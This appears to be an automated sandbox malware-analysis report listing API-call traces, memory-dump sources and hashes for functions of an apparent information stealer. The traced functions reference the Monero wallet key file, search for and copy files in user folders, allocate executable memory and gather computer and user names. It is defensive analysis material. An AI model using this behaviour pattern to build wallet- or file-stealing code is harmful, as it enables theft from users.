Part of subcall function 00BAA920: lstrcat.KERNEL32(00000000), ref: 00BAA982

Part of subcall function 00BAA8A0: lstrcpy.KERNEL32(?,00BB0E17), ref: 00BAA905

lstrlen.KERNEL32(00000000), ref: 00B9B16A
lstrlen.KERNEL32(00000000), ref: 00B9B17E

Part of subcall function 00BAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BAA7E6

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 82350805a6c68105fac7d9823f97045b40a209cc8af06ef84469e9ab3f38dfe0
Instruction ID: afdff6b9e5082e812fe710c6d8384ff79dd10f69b4cbf0768d1774d05aebb5f2
Opcode Fuzzy Hash: 82350805a6c68105fac7d9823f97045b40a209cc8af06ef84469e9ab3f38dfe0
Instruction Fuzzy Hash: AE911571914108ABDF44FBA4DC95EEE73B8AF55300F4085A9F507B6191EF346A09CBB2

Function 00B9B230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

Part of subcall function 00BAA9B0: lstrlen.KERNEL32(?,00639178,?,\Monero\wallet.keys,00BB0E17), ref: 00BAA9C5
Part of subcall function 00BAA9B0: lstrcpy.KERNEL32(00000000), ref: 00BAAA04
Part of subcall function 00BAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BAAA12

Part of subcall function 00BAA920: lstrcpy.KERNEL32(00000000,?), ref: 00BAA972
Part of subcall function 00BAA920: lstrcat.KERNEL32(00000000), ref: 00BAA982

Part of subcall function 00BAA8A0: lstrcpy.KERNEL32(?,00BB0E17), ref: 00BAA905

lstrlen.KERNEL32(00000000), ref: 00B9B42E
lstrlen.KERNEL32(00000000), ref: 00B9B442

Part of subcall function 00BAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BAA7E6

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 972b1f4d31865ff5f0656bf7d2395013d98f51bbcee3b7c2ed99f6d146aa070b
Instruction ID: 1e5737407a0c996cdb4babc00e4ba2b2d7b56d3126983c15c625a245c421e444
Opcode Fuzzy Hash: 972b1f4d31865ff5f0656bf7d2395013d98f51bbcee3b7c2ed99f6d146aa070b
Instruction Fuzzy Hash: A2712D72914108ABDF44FBA4DD96DEE73B8BF55300F4045A9F503A6191EF346A09CBB2

Function 00BA4BB0 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BA8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00BA8E0B

lstrcat.KERNEL32(?,00000000), ref: 00BA4BEA
lstrcat.KERNEL32(?,0063D880), ref: 00BA4C08

Part of subcall function 00BA4910: wsprintfA.USER32 ref: 00BA492C
Part of subcall function 00BA4910: FindFirstFileA.KERNEL32(?,?), ref: 00BA4943

Part of subcall function 00BA4910: StrCmpCA.SHLWAPI(?,00BB0FDC), ref: 00BA4971
Part of subcall function 00BA4910: StrCmpCA.SHLWAPI(?,00BB0FE0), ref: 00BA4987
Part of subcall function 00BA4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00BA4B7D
Part of subcall function 00BA4910: FindClose.KERNEL32(000000FF), ref: 00BA4B92

Part of subcall function 00BA4910: wsprintfA.USER32 ref: 00BA49B0
Part of subcall function 00BA4910: StrCmpCA.SHLWAPI(?,00BB08D2), ref: 00BA49C5
Part of subcall function 00BA4910: wsprintfA.USER32 ref: 00BA49E2
Part of subcall function 00BA4910: PathMatchSpecA.SHLWAPI(?,?), ref: 00BA4A1E
Part of subcall function 00BA4910: lstrcat.KERNEL32(?,0063E938), ref: 00BA4A4A
Part of subcall function 00BA4910: lstrcat.KERNEL32(?,00BB0FF8), ref: 00BA4A5C
Part of subcall function 00BA4910: lstrcat.KERNEL32(?,?), ref: 00BA4A70
Part of subcall function 00BA4910: lstrcat.KERNEL32(?,00BB0FFC), ref: 00BA4A82
Part of subcall function 00BA4910: lstrcat.KERNEL32(?,?), ref: 00BA4A96
Part of subcall function 00BA4910: CopyFileA.KERNEL32(?,?,00000001), ref: 00BA4AAC
Part of subcall function 00BA4910: DeleteFileA.KERNEL32(?), ref: 00BA4B31

Part of subcall function 00BA4910: wsprintfA.USER32 ref: 00BA4A07

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: b27017c9abf7a98b983e3189f6f9650ff65972a902e35dc4b5e4340bd83e285e
Instruction ID: 6bb2cd777eb940cafcb756e85d8975403c9c5f2c210ac3c8cfa0d756cb9ccb54
Opcode Fuzzy Hash: b27017c9abf7a98b983e3189f6f9650ff65972a902e35dc4b5e4340bd83e285e
Instruction Fuzzy Hash: 8341DB775002046BC794FBA8EC42EFF33BDA795300F40C599B54996286EE755B888BB2

Function 00B96660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 00B96706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00B96753

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1f904c6c7a39e4de8f5953751b950ffb0f7392eaa9465e54abb084b4df40955f
Instruction ID: b50df677af9b40ed145bfeb4d2d6899993c0daa4d96cf2569a7c547bb566da8f
Opcode Fuzzy Hash: 1f904c6c7a39e4de8f5953751b950ffb0f7392eaa9465e54abb084b4df40955f
Instruction Fuzzy Hash: 6C41B374A00209EFCB44CF98C494BADBBB1FF48314F2482A9E9599B355D735AA81CB84

Function 00B910A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00B910B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00B910F7

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 65b62fb199e2356967613f20eae62dc41efd177ee4d825ebfccd9b565e33ead7
Instruction ID: 29d4941dd896b2fc3a38642ee355461ec5b64fe6571d9c8dcbbc9be9ddeea0ad
Opcode Fuzzy Hash: 65b62fb199e2356967613f20eae62dc41efd177ee4d825ebfccd9b565e33ead7
Instruction Fuzzy Hash: E2F0E271641308BBEB149AA8AC49FAFB7E8E705B15F305899F904E3380D5729E00DAA0

Function 00BA8D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00B91B54,?,?,00BB564C,?,?,00BB0E1F), ref: 00BA8D9F

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 6b161cc61fdf34e7714082ebf90d0030a6237b2987724f7c66d296da33218dab
Instruction ID: 93628fc2812aa571ae5b9377cc35eff89086f7adfdca859c2b57286e37ac66c7
Opcode Fuzzy Hash: 6b161cc61fdf34e7714082ebf90d0030a6237b2987724f7c66d296da33218dab
Instruction Fuzzy Hash: 72F0A570D08208EBCB04EFA4D5496DCBBB4EB12310F1081E9E866A77D0DB745B55DB91

Function 00BA8DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00BA8E0B

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 66a2b53ba501b39117c4a16a8a5b7162ec7043bdd1a77332ce05421c2de362ae
Instruction ID: 50fca672781b47c48f02114228ead8ec58eb45ee9afa9bb2a533d1af24dd5fcd
Opcode Fuzzy Hash: 66a2b53ba501b39117c4a16a8a5b7162ec7043bdd1a77332ce05421c2de362ae
Instruction Fuzzy Hash: CBE01A31A4434C6BDB91EB94CC96FAE73BC9B44B01F004295BA0C9A1C0DE70AB858BA1

Function 00B91190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00BA78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00BA7910
Part of subcall function 00BA78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00BA7917
Part of subcall function 00BA78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00BA792F

Part of subcall function 00BA7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00B911B7), ref: 00BA7880
Part of subcall function 00BA7850: RtlAllocateHeap.NTDLL(00000000), ref: 00BA7887
Part of subcall function 00BA7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00BA789F

ExitProcess.KERNEL32 ref: 00B911C6

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
